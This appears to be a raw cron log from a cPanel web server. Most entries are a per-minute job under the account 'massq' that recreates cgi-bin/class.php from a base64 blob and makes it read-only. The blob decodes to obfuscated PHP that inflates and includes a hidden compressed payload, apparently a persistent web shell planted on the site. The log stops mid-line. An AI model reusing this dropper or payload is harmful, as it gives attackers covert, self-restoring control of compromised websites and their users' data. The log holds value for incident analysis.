Apr 10 22:25:01 server CROND[12654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:25:01 server CROND[12653]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 10 22:26:01 server CROND[12794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:27:01 server CROND[13025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:27:01 server CROND[13026]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 22:28:01 server CROND[13086]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:29:01 server CROND[13160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:30:01 server CROND[13240]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 22:30:01 server CROND[13242]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:30:01 server CROND[13243]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 22:30:01 server CROND[13241]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 22:31:01 server CROND[13363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:32:01 server CROND[13420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:33:01 server CROND[13572]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:34:01 server CROND[13646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:35:01 server CROND[13736]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 22:35:01 server CROND[13737]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 10 22:35:01 server CROND[13738]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 22:35:01 server CROND[13740]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:35:01 server CROND[13739]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 22:36:01 server CROND[13896]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:37:01 server CROND[13995]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 22:38:01 server CROND[14206]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/